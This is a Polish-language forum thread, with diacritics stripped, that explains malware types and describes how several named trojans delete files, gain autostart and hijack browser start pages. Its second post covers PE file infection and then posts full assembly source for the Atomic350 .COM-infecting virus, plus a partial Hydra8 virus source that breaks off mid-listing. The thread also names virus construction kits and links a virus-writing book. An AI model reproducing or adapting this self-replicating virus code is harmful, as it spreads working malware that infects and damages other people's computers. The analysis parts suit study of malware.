Poka wyniki od 1 do 6 z 6
  1. #1

    Domylnie Zoliwe oprogramowanie & wirusy, cz 1, 2 i 3

    //Poniewa dostaem troch weny, postanowiem napisa jaki temat.
    ----------
    Jak wszyscy wiemy (prawie wszyscy), w Internecie mona znale zoliwe oprogramowanie, typu : wirusy, trojany, keyloggery, spyware, rootkity, itd.
    ----------
    Mae przypomnienie :
    Co to jest ko trojaski?

    Ko trojaski, trojan to okrelenie oprogramowania, ktre podszywajc si pod przydatne lub ciekawe dla uytkownika aplikacje dodatkowo implementuj niepodan, ukryt przed uytkownikiem funkcjonalno (spyware, bomby logiczne, itp). Nazwa pochodzi od mitologicznego konia trojaskiego.
    ----------
    Co to jest keylogger?

    Keylogger - typ programw komputerowych sucych do wykradania hase.
    Programy te dziaaj na zasadzie przejcia kontroli nad procedurami systemu operacyjnego (gwnie Microsoft Windows) sucymi do obsugi klawiatury. Kade wcinicie klawisza jest zapisywane w specjalnym pliku. Opcjonalnie informacje o wcinitych klawiszach poszerzone s o dodatkowe informacje, jak nazwa aktywnego programu lub okna.
    ----------
    Co to jest spyware?

    Spyware to programy komputerowe, ktrych celem jest szpiegowanie dziaa uytkownika.
    Programy te gromadz informacje o uytkowniku i wysyaj je czsto bez jego wiedzy i zgody autorowi programu.
    ----------
    Co to jest rootkit?

    Rootkit - narzdzie pomocne we wamaniach do systemw informatycznych. Ukrywa on niebezpieczne pliki i procesy, ktre umoliwiaj utrzymanie kontroli nad systemem.
    ----------
    Co to jest wirus komputerowy?

    Wirus komputerowy - najczciej prosty program komputerowy, ktry w sposb celowy powiela si bez zgody uytkownika. Wirus komputerowy w przeciwiestwie do robaka komputerowego do swojej dziaalnoci wymaga nosiciela w postaci programu komputerowego, poczty elektronicznej itp. Wirusy wykorzystuj sabo zabezpiecze systemw komputerowych lub waciwoci systemw oraz niedowiadczenie i beztrosk uytkownikw. Czsto wirusami komputerowymi mylnie nazywane s wszystkie zoliwe programy.
    ----------
    Programy typu : wirus, keylogger, rootkit, itd. mona zwalcza za pomoc programw takich jak :
    - antywirus (np. NOD32, a do rootkitw : Rootkit Revealer)
    - antyspyware (np. Ad-Aware SE Professional)
    - antykeylogger (nie ma doskonaego antykeyloggera, ale jak kto chce to : Advanced Anti
    Keylogger)

    ----------
    Teraz ciekawsza strona tego tematu (mam nadzieje), objanienie dziaania wirusw, oraz objanienie funkcji kilku koni trojaskich.
    Wpierw jednak zaczn, od analizy koni trojaskich.
    ----------
    Trojan od ktrego zaczn, ktrego antywirusy wykrywaj jako :
    -Trojan.Win32.KillFiles.ac, ktry posiada do szkodliw/wredn funkcj.
    Posta pliku : PE EXE
    Rozmiar : 35328b (bajtw).
    Trojan dziaa w nastpujcy sposb : uruchamia swoje polecenia w folderze roboczym.
    Kod:
    echo del *.txt
    
    echo del *.doc
    
    echo del *.xls
    
    echo del *.com
    
    echo del *.dll
    
    echo del *.dot
    
    echo del *.bin
    
    echo del *.htm
    
    echo del *.ppt
    
    echo del *.avi
    
    echo del *.mp3
    
    echo del *.src
    
    echo del *.bmp
    
    echo del *.cfg
    
    echo del *.mpg
    
    echo del *.drv
    
    echo del *.vxd
    
    echo del *.mdb
    ----------
    Kolejny trojan, ktrego omwi, nosi nazw :
    - Trojan.BAT.DelSys.d
    Posta pliku : .BAT
    Rozmiar : 4644b
    Po uruchomieniu, trojan wywietla do nietypowy komunikat :
    Kod:
    D I L E M M A ============= You now have the DILEMMA Virus on your computer. Any attempt 
    
    to shut down your system or bypass the virus at this point will cause BOTH options to 
    
    activate. Choose your fate below..... 1. Randomly Delete Some Files 2. Make A Mess Of 
    
    Your C: Directory
    1 opcja - usunicie wszystkich plikw .dll z folderu C:Windows:System
    2 opcja - zrobi baagan na dysku C, tworzc takie foldery :
    Kod:
    C:JAHAJKH C:JHDGYD C:EWWER C:WEWER C:WRWERWER C:STORMMAKER C:AASDAS
    
    C:BFBB C:QQWERD C:SDFSV C:SFSDFS C:WWEWE C:FGDFSADA C:SDSSTY C:ASWDD
    
    C:QQWERF C:VVBGTD C:OOIKM C:FGTYH C:FRCDFR C:SWDEXD C:VFGRT C:RBNHH
    
    C:QWSXXZ C:SDSDTY C:UIYUHH C:FDGFGDF C:DFGDFVFG C:JJUIK C:MMNHBG C:XCDSEW
    
    C:ERRFDC C:QASWX C:BVGHYT C:TNMJKIU C:BGHYTG C:BVGTFR C:ZZXSW C:LLOU
    
    C:DSSFS C:WEWEE C:WWEW C:SDFSXCX C:VBGTFC C:NHJUYHG C:AASWD C:AXDCD
    
    C:BGVFR C:CFGTR C:DESXC C:EEFDR C:FFGTRE C:GHJUY C:***YG C:IJKUG C:JKNHBG
    
    C:KIJBGT C:LKIJN C:MNJHVV C:NBHGY C:OPLK C:PKIJU C:QQWSD
    ----------
    Kolejny trojan, jest wykrywany przez antywirusy jako :
    - Trojan-Spy.Win32.VB.oq
    Posta pliku : PE EXE
    Rozmiar : 28 672b
    Napisany w jzyku : Visual Basic (dodatkowa informacja)
    Po uruchomieniu pliku, szkodnik dodaje si jako :
    Kod:
    %WinDir%scsrss.exe
    Szkodnik zapewnia sobie automatyczne uruchamianie wraz ze startem systemu, dziki kluczowi :
    Kod:
    [HKLMSoftwareMicrosoftWindowsCurrentVersionRun]"scsrss.exe" = "%WinDir%scsrss.exe"
    Funkcje szkodnika :
    Trojan ledzi zawarto schowka.
    ----------
    Kolejny szkodnik i ju przedostatni, jest wykrywany przez antywirusy jako :
    - Trojan.Win32.StartPage.adi
    Posta pliku : PE EXE
    Rozmiar : 4 265b
    Napisany w jzyku : C++
    Trojan, zapewnia sobie automatyczne uruchamianie wraz ze startem systemu, dziki kluczowi :
    Kod:
    [HKLMSoftwareMicrosoftWindowsCurrentVersionRun]"SysTray" = "(cieka do pliku wykonywalnego trojana)"
    Funkcje szkodnika : szuka plikw z nazwami :
    Kod:
    %WinDir%secure32.html**%ProgramFiles%secure32.html
    Po znalezieniu kopiuje plik secure32.html, na dysk C (C:secure32.html).
    Nastpnie modyfikuje rejestr systemowy i podmienia domyln stron przegldarki :
    Kod:
     [HKLMSoftwareMicrosoftInternet ExplorerMain]
    
    "Local Page" = "c:secure32.html"
    
    
    
    [HKLMSoftwareMicrosoftInternet ExplorerMain]
    
    "Start Page" = "c:secure32.html"
    
    
    
    [HKLMSoftwareMicrosoftInternet ExplorerMain]
    
    "Default_Page_URL" = "c:secure32.html"
    
    
    
    [HKCUSoftwareMicrosoftInternet ExplorerMain]
    
    "Local Page" = "c:secure32.html"
    
    
    
    [HKCUSoftwareMicrosoftInternet ExplorerMain]
    
    "Start Page" = "c:secure32.html"
    
    
    
    [HKCUSoftwareMicrosoftInternet ExplorerMain]
    
    "Default_Page_URL" = "c:secure32.html"
    ----------
    Ostatni szkodnik, jaki tu opisz, jest wykrywalny przez antywirusy jako :
    - Trojan.Win32.Small.dl
    Posta pliku : PE EXE
    Rozmiar : 24 576b
    Napisany w jzyku : C++
    Po uruchomieniu, szkodnik kopiuje swj plik wykonywalny do folderu systemowego z oryginaln nazw pliku.
    Kod:
    %System%(oryginalna nazwa trojana)
    Trojan zapewnia sobie autostart, dziki kluczowi :
    Kod:
    [HKLMSoftwareMicrosoftWindowsCurrentVersionRun]
    
    "wins" = "%System%(oryginalna nazwa pliku trojana)"
    Funkcje szkodnika : co 55 minut, szkodnik otwiera nastpujce adresy :
    Kod:
    http://bbsdown.cn/aabb.html** http://552779.cn/aabb.html
    ----------
    Dziaanie wirusw :
    Technika ktr wykorzystuj niektre wirusy (tzw. EPO) :
    - EPO: Entry-Point Obscuring
    - Fighting EPO Viruses
    Wirusy maj zdolno samopowielania. Wirusy przenoszone s przewanie w zainfekowanych wczeniej plikach lub w pierwszych sektorach fizycznych dyskw logicznych. Tylko i wycznie od programisty, zaley co jego szkodnik ma wykonywa, moe uniemoliwi prac komputera, wyczy go, wysa spam, zamieci, zniszczy wane dane, itd. Pierwszy wirus na wiecie powsta w 1986 roku, posiada on nazw Brain. Wirusy komputerowe, mog by pisane w rnych jzykach programowania, typu C, C++, Turbo Pascal, jednake najczciej s one pisane w assemblerze.
    Istnieje wiele programw umoliwiajcych stworzenie wasnego wirusa, nawet bez znajomoci systemu czy mechanizmw wykorzystywanych przez wirusy. Tego typu generatory, mona bez problemowo znale w Internecie (starczy troszk poszuka).
    Znane generatory wirusw :
    - IVP – Instant Virus Production Kit
    - VCL – Virus Construction Laboratory
    - PS-MPC – Phalcon-Skism Mass Produced Code Generator
    - G2 – G Squared

    ----------
    Rodzaje wirusw komputerowych :
    Wirusy mona podzieli wedug wielu kryteriw. Przykadowy podzia ze wzgldu na infekowany obiekt :
    - wirusy dyskowe, infekujce sektory startowe dyskietek i dyskw twardych
    - wirusy plikowe, ktre infekuj pliki wykonywalne danego systemu operacyjnego
    - wirusy skryptowe
    - makrowirusy, ktrych kod skada si z instrukcji w jzyku wysokiego poziomu, wykonywane przez interpreter.
    ----------
    Kilka ksiek na temat wirusw :
    - Andrzej Dudek : "Jak pisa wirusy"
    - Adam Baszczyk : "Wirusy"
    ----------
    To narazie jest koniec, moecie si spodziewa drugiej czci artykuu, gdzie napisze o budowie plikw PE, infekcji plikw PE i o wirusach w Linuxie.
    ----------
    Umieszczam teraz 1 ksik na temat wirusw :
    - http://rapidshare.com/files/68979180/Adam_...Wirusy.rar.html
    ----------
    // Niektre z tych informacji byy czerpane z :
    http://www.wikipedia.pl

    ----------
    // Jeli to moliwe, prosz o przyklejenie tematu

  2. #2
    Uytkownik
    Doczy
    03-01-2007
    Skd
    127.0.0.1
    Posty
    527

    Domylnie

    taki temat by ju

  3. #3

    Domylnie

    Co tam.. przynajmniej ten jest przyklejony ;P

  4. #4
    Uytkownik
    Doczy
    24-08-2006
    Skd
    Marzcino
    Posty
    91

    Domylnie

    Moe temat ju by ... ale NAPEWNO si przyda , dziki-moja wiedza si poszerzya dziki temu tematowi =]

  5. #5
    Uytkownik
    Doczy
    23-09-2007
    Posty
    111

    Domylnie

    Oczywicie e tamat si przyda a nawet powiedzia bym e bardzo potrzebny
    Przydao by si jeszcze opisa jak usuwa takie wirusy ktrych obecno w systemie nie jest widoczna goym okiem , tak jak np. Confident_A Stealth Keylogger .
    Wiem e autor keyloggera zaglda do czsto na forum wic mg by co na ten temat napisa , i napewno jest tu wiele osb ktre wiedz jak odinstalowa takie trojany i inne syfy ktrych obecno w systemie jest ukryta przez zastosowanie rootkitw czy w jaki inny sposb .
    Dziki za temat

  6. #6

    Domylnie

    // Jak obiecaem, e bdzie druga cz artykuu, to oto i ona
    ----------
    W ostatnim artykule, przypomnielimy sobie, co to jest keylogger, trojan, wirus, rootkit, itd.
    W tej czci artykuu napisze o wirusach w Linux'ie, logach z HijackThis'a, budowy plikw PE, a zreszt, sami zobaczycie.
    ----------
    Pierwsza rzecz, jaka rozpocznie ten artyku, bd to wirusy w Linux'ie.
    ----------
    W Systemach takich jak Win95/NT pami operacyjna zostaa zaprojektowana z ograniczonym dostpem do segmentw. W tych systemach systemach, z uyciem selektorw, jdro ma moliwo obsugi caej przestrzeni wirtualnej, czyli od 0x00000000 do 0xFFFFFFFF. Jakkolwiek w Linux-ie sprawa wyglda inaczej, mamy w nim dwie strefy odrnione ze wzgldu na znaczenie segmentacji. Strefa przeznaczona na procesy uytkownika zawiera si w adresach 0x000000000xC0000000 a druga strefa, przeznaczona na jdro systemu zawiera si w adresach takich jak : 0xC00000000xFFFFFFFF
    ----------
    Przyjrzyjmy si stanowi rejestrw (debugger zwany gdb). Na pocztku wywoania komendy takiej jak gzip.
    Kod:
    (gdb)info registers
    
    eax 0x0 0
    
    ecx 0x1 1
    
    edx 0x0 0
    
    ebx 0x0 0
    
    ebp 0xbffffd8c 0xbffffd8c
    
    esi 0xbffffd9c 0xbffffd9c
    
    edi 0x4000623c 1073766972
    
    eip 0x8048b10 0x8048b10
    
    eflags 0x296 662
    
    cs 0x23 35
    
    ss 0x2b 43
    
    ds 0x2b 43
    
    es 0x2b 43
    
    fs 0x2b 43
    
    gs 0x2b 43
    Z tego co wyej podaem, mona odczyta, e Linux, uywa selektora 0x23 dla segmentu kodu oraz 0x2b dla segmentu danych.
    ----------
    Jeli przyjrzymy si kodowi jdra mieszczcemu si w pliku
    /usr/src/linux/arch/i386/kernel/head.S, moemy odtworzy wartoci rejestrw w czasie adowania Linux'a.
    Kod:
    88
    
    /*
    
    * This gdt setup gives the kernel a 1GB address space at virtual
    
    * address 0xC0000000 - space enough for expansion, I hope.
    
    */
    
    ENTRY(gdt)
    
    .quad 0x0000000000000000 /* NULL descriptor */
    
    .quad 0x0000000000000000 /* not used */
    
    .quad 0xc0c39a000000ffff /* 0x10 kernel 1GB code at 0xC0000000 */
    
    .quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */
    
    .quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */
    
    .quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 */
    
    .quad 0x0000000000000000 /* not used */
    
    .quad 0x0000000000000000 /* not used */
    
    .fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */
    
    #ifdef CONFIG_APM
    
    .quad 0x00c09a0000000000 /* APM CS code */
    
    .quad 0x00809a0000000000 /* APM CS 16 code (16 bit) */
    
    .quad 0x00c0920000000000 /* APM DS data */
    
    #endif
    Z tego wszystkiego, wynika, e Linux, inicializuje 4 segmenty - 2 dla jdra, oraz 2 dla potrzeb uytkownika.
    ----------
    Rezydentny wirus w ring0 otrzymuje maskymalne przywileje procesora, ponad to w ring0 jest moliwe przechwycenie wywoa do systemu przez wszystkie procesy systemu. W celu otrzymania przywilejw ring0 wirus moe sprbowa zmian w IDT dla globalnego TrapGate. W celu modyfikacji GDT lub te LDT do wywoania Call Gate lub te nawet zapatchowania kodu, ktry jest wywoywany w ring0.
    ----------
    Budowa plikw PE
    ----------
    Specyfikacja formatu PE pochodzi z systemu UNIX i jest znana jako COFF (Common Object File Format). System Windows powsta na korzeniach VAX, VMS oraz UNIX; wielu jego twrcw wczeniej pracowao nad rozwojem tych systemw, zatem logiczne wydaje si zaimplementowanie niektrych waciwoci tej specyfikacji.
    Znaczenie PE (Portable Executable) mwi, e jest to przenony plik wykonywalny, co w praktyce oznacza uniwersalno midzy platformami x86, MIPS, Alpha.
    ----------
    Pliki PE, skadaj si z kilku czci :
    - Nagwek DOS-MZ
    - Odcinek DOS
    - Nagwek PE
    - Tablica sekcji
    - Sekcja 1
    - Sekcja ...
    - Sekcja n
    ----------
    Infekcja plikw PE
    ----------
    Jako jeden z pierwszych sposobw infekcji plikw PE zaproponowa Jack Qwerty, nestor nalecy do znanej grupy 29A, autor pierwszych wirusw infekujcych PE: Win32.Jacky oraz Win32.Cabanas. Po nich pokazay si kolejne dwa: Esperanto oraz Win32.Marburg – stworzone przez zesp 29A.
    Najbardziej popularn metod infekcji plikw PE jest sposb, ktry polega na doklejaniu si kodu wirusa do ostatniej sekcji, zwikszeniu jej rozmiaru i ustawieniu pocztku wykonywania programu na adresie odpowiadajcym pierwszej instrukcji doklejonego kodu.
    ----------
    Zamy, e w rejestrze EDX mamy wskanik do pocztku otwartego/zmapowanego w pamici pliku, np. przez API MapViewOfFile(). Pierwsz czynnoci jak powinna wykona nasza procedura infekujca w wirusie jest sprawdzenie czy atakowany obiekt jest plikiem PE. Mona to wykona szukajc nagwka PE poprzez pole znajdujce si na offsecie 03Ch w pierwszym nagwku DOS-MZ.
    May przykad :
    Kod:
    push******edx
    
    cmp****** word ptr ds:[edx], “ZM”
    
    jnz****** koniec_infekcji
    
    mov****** edx, dword ptr ds:[edx+3Ch]
    
    cmp****** cmp word ptr ds:[edx], “EP”
    
    jnz****** koniec_infekcji
    Gdy ju wiemy, e mamy do czynienia, z waciwym plikiem, musimy nastpnie zlokalizowa ostatni sekcj. Przykad w jzyku C (nie napisane przeze mnie)
    Kod:
    #include <windows.h>
    
    #include <windowsx.h>
    
    #include <winbase.h>
    
    #include <stdlib.h>
    
    #include <stdio.h>
    
    #include <string.h>
    
    #include <winnt.h>
    
    
    
    int get_num_sections ( LPVOID );
    
    
    
    LPVOID get_first_section ( LPVOID );
    
    
    
    void main (void) {
    
    
    
    char *filename;
    
    
    
    char c;
    
    
    
    HANDLE hFile;
    
    
    
    HANDLE hMap;
    
    
    
    LPVOID lpFile;
    
    
    
    int num_sections;
    
    
    
    int s;
    
    
    
    int space;
    
    
    
    LPVOID *section_header;
    
    
    
    LPVOID *look_at;
    
    
    
    DWORD value1;
    
    
    
    DWORD value2;
    
    
    
    DWORD free_here;
    
    
    
    filename = (LPSTR) GetCommandLine();
    
    
    
    printf ( "nGetSpace wyszukuje wolne miejsce w plikach PEn" );
    
    
    
    printf ( "GetSpace napisane przez GriYo / 29Ann" );
    
    
    
    do {
    
    
    
    c = *filename;
    
    
    
    filename++;
    
    
    
    }
    
    
    
    while ( ( c != 0 ) && ( c != ' ' ) );
    
    
    
    if ( c != 0 ) c = *filename;
    
    
    
    if ( c == 0 ) {
    
    
    
    printf ( "Uycie: GETSPACE nazwa pliku nn" );
    
    
    
    exit (-1);
    
    
    
    }
    
    
    
    printf ( "Szukam wolnego miejsca w %snn",filename);
    
    
    
    hFile=CreateFile (filename,GENERIC_READ,0,NULL OPEN_EXISTING, 
    
    
    
    FILE_ATTRIBUTE_READONLY, 0);
    
    
    
    if ( hFile==INVALID_HANDLE_VALUE ) {
    
    
    
    printf ( "Nie mona odnale pliku nn" );
    
    
    
    exit (-1);
    
    
    
    26
    
    
    
    27
    
    
    
    }
    
    
    
    hMap = CreateFileMapping ( hFile, NULL, PAGE_READONLY, 0, 0, NULL );
    
    
    
    if (hMap==NULL) {
    
    
    
    CloseHandle(hFile);
    
    
    
    printf ( "Error podczas mapowania pliku do pamici nn" );
    
    
    
    exit (-1);
    
    
    
    }
    
    
    
    lpFile = MapViewOfFile (hMap, FILE_MAP_READ, 0, 0, 0 );
    
    
    
    if (lpFile==NULL) {
    
    
    
    CloseHandle(hMap);
    
    
    
    CloseHandle(hFile);
    
    
    
    printf ( "Error podczas mapowania pliku do pamici nn" );
    
    
    
    exit (-1);
    
    
    
    }
    
    
    
    num_sections = get_num_sections ( lpFile );
    
    
    
    if ( num_sections == 0 ) {
    
    
    
    printf ( "Plik nie jest Portable Executable nn" );
    
    
    
    }
    
    
    
    else {
    
    
    
    section_header = get_first_section ( lpFile );
    
    
    
    printf ( "Liczba sekcji: %dnn",num_sections );
    
    
    
    space = 0;
    
    
    
    for ( s = 0; s < num_sections; s++ ) {
    
    
    
    look_at=section_header;
    
    
    
    printf ( "Sekcja %d (%s)n",s,look_at );
    
    look_at += 2;
    
    
    
    value1 = (DWORD) *look_at;
    
    
    
    printf ( "-Virtual size: %x (%d)n", value1, value1 );
    
    look_at += 2;
    
    
    
    value2 = (DWORD) *look_at;
    
    
    
    printf ( "-Wielko SizeOfRawData: %x (%d)n", value2, value2 );
    
    
    
    if ( value1 > value2 )
    
    
    
    printf ( "Brak wolnego miejsca w sekcji nn" );
    
    
    
    else {
    
    
    
    free_here = value2 - value1;
    
    
    
    printf ( "-Wolny obszar: %x (%d)nn", free_here, free_here );
    
    
    
    space += free_here;
    
    
    
    }
    
    
    
    section_header+=10;
    
    
    
    }
    
    
    
    printf ( "Cakowita ilo wolnego miejsca w pliku: %x (%d)", space, space );
    
    
    
    }
    
    
    
    UnmapViewOfFile(lpFile);
    
    
    
    CloseHandle(hMap);
    
    
    
    CloseHandle(hFile);
    
    }
    
    
    
    int get_num_sections ( LPVOID lpFile ) {
    
    
    
    int num_sections;
    
    
    
    __asm {
    
    
    
    mov ebx,dword ptr [lpFile]
    
    
    
    xor ecx,ecx
    
    
    
    cld
    
    
    
    cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
    
    
    
    jne exit_error
    
    
    
    cmp word ptr [ebx+IMAGE_DOS_HEADER.e_lfarlc],0040h
    
    
    
    jb exit_error
    
    
    
    mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.e_lfanew]
    
    
    
    add esi,ebx
    
    
    
    lodsd
    
    
    
    cmp eax,IMAGE_NT_SIGNATURE
    
    
    
    jne exit_error
    
    
    
    movzx ecx,word ptr [esi+IMAGE_FILE_HEADER.NumberOfSections]
    
    
    
    exit_error: mov dword ptr [num_sections],ecx
    
    
    
    }
    
    
    
    return ( num_sections );
    
    
    
    28
    
    
    
    }
    
    
    
    LPVOID get_first_section ( LPVOID lpFile ) {
    
    
    
    LPVOID first_section;
    
    
    
    __asm {
    
    
    
    mov ebx,dword ptr [lpFile]
    
    
    
    cld
    
    
    
    cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
    
    
    
    jne exit_error;
    
    
    
    cmp word ptr [ebx+IMAGE_DOS_HEADER.e_lfarlc],0040h
    
    
    
    jb exit_error;
    
    
    
    mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.e_lfanew]
    
    
    
    add esi,ebx
    
    
    
    lodsd
    
    
    
    cmp eax,IMAGE_NT_SIGNATURE
    
    
    
    jne exit_error
    
    
    
    movzx ecx,word ptr [esi+IMAGE_FILE_HEADER.NumberOfSections]
    
    
    
    jecxz exit_error
    
    
    
    movzx eax,word ptr [esi+IMAGE_FILE_HEADER.SizeOfOptionalHeader]
    
    
    
    add esi,IMAGE_SIZEOF_FILE_HEADER
    
    
    
    add eax,esi
    
    
    
    jmp got_it
    
    
    
    exit_error: xor eax,eax
    
    got_it: mov dword ptr [first_section],eax
    
    }
    
    
    
    return ( first_section );
    
    
    
    }
    ----------
    Jak wirusy, chroni si przed dissassemblerami??? (dodatkowe informacje)
    ----------
    Po infekcji wirusa w pliku wykonywalnym punkt wejcia do programu zmieniany jest na pocztek kodu wirusa, by po uruchomieniu programu przez uytkownika jego kod zosta uruchomiony. Z tego te wzgldu kod wirusa jest „na widoku” i moe zosta prosto wykryty. Jednake wykrycie wirusa w systemie nie stanowi jego deaktywacji. Potrzebna jest, ku temu, analiza kodu wirusa i napisanie dla niego antywirusa. By uchroni si przed analiz stosuje si ochron przeciw disassemblerom, programom, ktre zamieniaj kod maszynowy na assemblera, zrozumiaego dla czowieka. W tym celu stosuje si algorytmy, kryptujce kod wirusa.
    ----------
    Co zrobi, gdy antywirus, nie wykrywa trojana, ktry siedzi u kogo na komputerze?
    ----------
    Gdy twj antywirus, nie potrafi wykry jakiego wirusa, zawsze pozostaj programy, ktre zapisuj logi na dysk, potem starczy je tylko sprawdzi. Do tego typu programw, midzy innymi nale :
    - HijackThis (sprawdzanie logu)
    - Gmer
    - ComboFix
    - SilentRunner
    ----------
    Kody rdowe wirusw
    ----------
    Poniej, zamieszcz, kilka kodw rdowych rnych wirusw.
    ----------
    Pierwszy wirus :
    - Nazwa : Atomic350
    - Stworzony : 08.09.2007
    Kod rdowy :
    Kod:
    ****************.model tiny
    
    
    
    ****************.code
    
    
    
    ****************org**** 100h
    
    
    
    start:
    
    ****************db******0e9h, 02, 00
    
    
    
    ****************db******'ML'
    
    startvirus:****************
    
    ****************call****get_relative
    
    get_relative:
    
    ****************pop**** bp
    
    ****************sub**** bp,offset get_relative
    
    ****************
    
    ****************lea**** si,[bp+restore_bytes]
    
    
    
    ****************mov**** di,100h
    
    ****************push****di
    
    ****************movsw
    
    ****************movsw
    
    ****************movsb
    
    ****************mov**** ah,4Eh
    
    ****************lea**** dx,[bp+filemask]
    
    ****************int**** 21h
    
    ****************************** 
    
    ****************jc******quit_virus
    
    ****************
    
    ****************call****try_infect
    
    
    
    loc_2:
    
    ****************mov**** ah,4Fh
    
    ****************int**** 21h
    
    ****************
    
    ****************jc******quit_virus
    
    ****************call****try_infect
    
    ****************jmp**** quit_virus
    
    
    
    ****************nop
    
    ****************mov**** ah,09
    
    ****************lea**** dx, [bp+message]
    
    ****************int**** 21h
    
    ****************int**** 20h
    
    
    
    quit_virus:****************
    
    ****************mov**** bp, 100h
    
    ****************jmp**** bp**********************.
    
    
    
    try_infect:
    
    ****************mov**** ax,3D02h
    
    ****************mov**** dx,9eh
    
    ****************int**** 21h
    
    
    
    ****************
    
    
    
    
    
    ****************xchg****bx,ax
    
    ****************
    
    ****************mov**** ax,4200h
    
    ****************xor**** cx,cx
    
    ****************xor**** dx,dx
    
    ****************int**** 21h
    
    
    
    ****************
    
    ****************mov**** ah,3Fh
    
    ****************mov**** cx,5
    
    ****************lea**** dx,[bp+restore_bytes]
    
    ****************int**** 21h
    
    ************************************************
    
    ****************cmp**** word ptr cs:[bp+restore_bytes+3],'LM'
    
    ****************je******loc_2
    
    ****************mov**** ax,5700h
    
    ****************int**** 21h
    
    ****************
    
    ****************push****cx
    
    ****************push****dx
    
    ****************mov**** ax,4202h
    
    ****************xor**** cx,cx
    
    ****************xor**** dx,dx
    
    ****************int**** 21h
    
    ****************
    
    ****************push****bx
    
    
    
    ****************sub**** ax,3
    
    ****************lea**** bx,[bp+jmpdata]
    
    ****************mov**** [bx],ax
    
    ****************pop**** bx
    
    ****************mov**** ah,40h
    
    ****************mov**** cx,(endvirus-startvirus)
    
    ****************lea**** dx,[bp+startvirus]
    
    ****************int**** 21h
    
    ****************
    
    ****************mov**** ax,4200h
    
    ****************xor**** cx,cx
    
    ****************xor**** dx,dx
    
    ****************int**** 21h
    
    ****************
    
    ****************mov**** ah,40h
    
    ****************mov**** cx,1
    
    ****************lea**** dx,[bp+jump]
    
    ****************int**** 21h
    
    ****************
    
    ****************mov**** ax,4200h
    
    ****************xor**** cx,cx
    
    ****************mov**** dx,1
    
    ****************int**** 21h
    
    ****************
    
    ****************mov**** ah,40h
    
    ****************mov**** cx,4
    
    ****************lea**** dx,[bp+jmpdata]******** 
    
    ****************int**** 21h
    
    
    
    
    
    ****************
    
    ****************mov**** ax,4200h
    
    ****************xor**** cx,cx
    
    ****************xor**** dx,dx
    
    ****************int**** 21h
    
    ****************
    
    ****************mov**** ax,5701h
    
    ****************pop**** dx
    
    ****************pop**** cx
    
    ****************int**** 21h
    
    ****************
    
    ****************mov**** ah,3Eh
    
    ****************int**** 21h
    
    
    
    ****************
    
    ****************ret
    
    
    
    filemask********db******'*.COM', 0************ 
    
    
    
    db******'[TAD2A] Created by Memory Lapse of Ontario, Canada', 0Dh, 0Ah, '$'
    
    ** 
    
    db******'[TAD2A] The Atomic Dustbin 2A - Just Shake Your Rump!', 0Dh, 0Ah,'$'
    
    
    
    message******** db******'Fail on INT 24 .. NOT!!', 0Dh, 0Ah,'$'
    
    
    
    jump************db******0E9h
    
    jmpdata******** dw******0
    
    ****************
    
    ****************db******'ML'
    
    ****************
    
    ****************db******00h, 00h
    
    
    
    restore_bytes:
    
    ****************int 20h
    
    ****************nop
    
    ****************nop
    
    ****************nop
    
    endvirus:
    
    ****************end**** start
    ----------
    Kolejny wirus :
    - Nazwa : Hydra8
    - Stworzony : Brak
    Kod rdowy :
    Kod:
    psp_cmd_size****equ**** 80h
    
    data_17e********equ**** 1EFh
    
    data_18e********equ**** 1F2h
    
    data_19e********equ**** 9D9Ah
    
    
    
    seg_a********** segment byte public
    
    ****************assume**cs:seg_a, ds:seg_a
    
    
    
    
    
    ****************org**** 100h
    
    
    
    hydra8**********proc****far
    
    
    
    start:
    
    ****************jmp**** loc_3
    
    ****************db****** 59h, 44h, 00h, 00h
    
    data_3**********db******'HyDra-8** Beta - Not For Release'
    
    ****************db******'. *.CO?'
    
    ****************db******0
    
    data_6**********dw******0, 8B39h
    
    data_8**********dw******0
    
    data_9**********db******0
    
    ****************db******18 dup (0)
    
    data_10******** db******0
    
    ****************db******10 dup (0)
    
    data_11******** db******0
    
    ****************db******0, 0, 0, 0, 0, 0
    
    data_12******** db******0
    
    ****************db******0, 0, 0, 0, 0, 0
    
    copyright****** db******'Copyright (c)'
    
    ****************db******'**1991 by C.A.V.E.**'
    
    data_13******** db******2Ah
    
    ****************db****** 2Eh, 45h, 58h, 45h, 00h
    
    data_14******** db******33h
    
    ****************db******0C9h, 1Eh, 52h,0E8h, 06h, 00h
    
    ****************db******0E8h, 13h, 00h,0EBh, 36h, 90h
    
    ****************db******0BEh, 48h, 01h
    
    ****************db******0BFh, 5Ah, 01h,0B9h, 12h, 00h
    
    
    
    locloop_1:
    
    ****************xor**** byte ptr [si],0F5h
    
    ****************movsb
    
    ****************loop****locloop_1
    
    
    
    ****************retn
    
    ****************db******0B8h, 00h, 0Fh,0CDh, 10h,0B4h
    
    ****************db****** 00h,0CDh, 10h,0B8h, 00h, 02h
    
    ****************db******0B6h, 0Ch,0B2h, 1Fh,0CDh, 10h
    
    ****************db****** 33h,0D2h
    
    ****************db******0BAh, 5Ah, 01h,0B4h, 09h,0CDh
    
    ****************db****** 21h,0B8h, 00h, 02h,0B6h, 18h
    
    ****************db******0B2h, 00h,0CDh, 10h,0C3h
    
    ****************db******0B8h, 00h, 4Ch,0CDh, 21h, 00h
    
    ****************db******0A2h, 9Dh, 9Ah,0F5h, 9Ch, 86h
    
    ****************db******0F5h
    
    ****************db******0BFh, 9Ah, 9Dh, 9Bh,0F5h,0B2h
    
    ****************db****** 94h, 99h, 81h,0CAh,0D1h
    
    loc_3:
    
    ****************push****ax
    
    ****************mov**** ax,cs
    
    ****************add**** ax,1000h
    
    ****************xor**** di,di
    
    ****************mov**** cx,1EFh
    
    ****************mov**** si,100h
    
    ****************mov**** es,ax
    
    ****************rep**** movsb
    
    ****************mov**** ah,1Ah
    
    ****************mov**** dx,offset data_9
    
    ****************int**** 21h
    
    
    
    ****************mov**** ah,4Eh
    
    ****************mov**** dx,offset data_3+22h
    
    ****************int**** 21h
    
    
    
    ****************jc******loc_7
    
    loc_4:
    
    ****************mov**** ah,3Dh
    
    ****************mov**** al,2
    
    ****************mov**** dx,offset data_11
    
    ****************int**** 21h
    
    
    
    ****************mov**** bx,ax
    
